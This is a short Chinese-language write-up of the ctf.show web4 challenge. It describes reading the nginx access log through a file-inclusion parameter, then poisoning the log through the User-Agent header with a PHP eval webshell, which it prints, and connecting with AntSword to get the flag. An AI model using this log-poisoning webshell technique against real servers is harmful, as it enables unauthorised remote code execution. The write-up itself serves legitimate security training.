ctf.show-web习题-web4-flag获取详解、总结
解题思路
打开靶场
可以发现和Web3界面一模一样,但是尝试web3的东西都会以失败告终
参数把php过滤掉了,并且大小写、双写等无法绕过
然后看源码、抓包等都没什么信息。
所以只能看你自己的直觉、知识面或者提示了 ,这里考察的是日志注入:
url参数输入Ngnix默认日志路径,可以看到
/?url=/var/log/nginx/access.log
很明显的是存储的是User-Agent的信息,那么我们可以通过发包更改User-Agent的信息,从而植入恶意代码webshell,连接后寻找flag。
<?php
eval($_POST['shell']);
?>
放入UA头后,日志中并没有记录,说明已经被解析,直接蚁剑连接即可
这里记得把https改成http,要不然连接不成功,然后在上一层找到flag
总结
一道基于日志注入的webshell题,如果没有提示,知识面还是要扩展一下...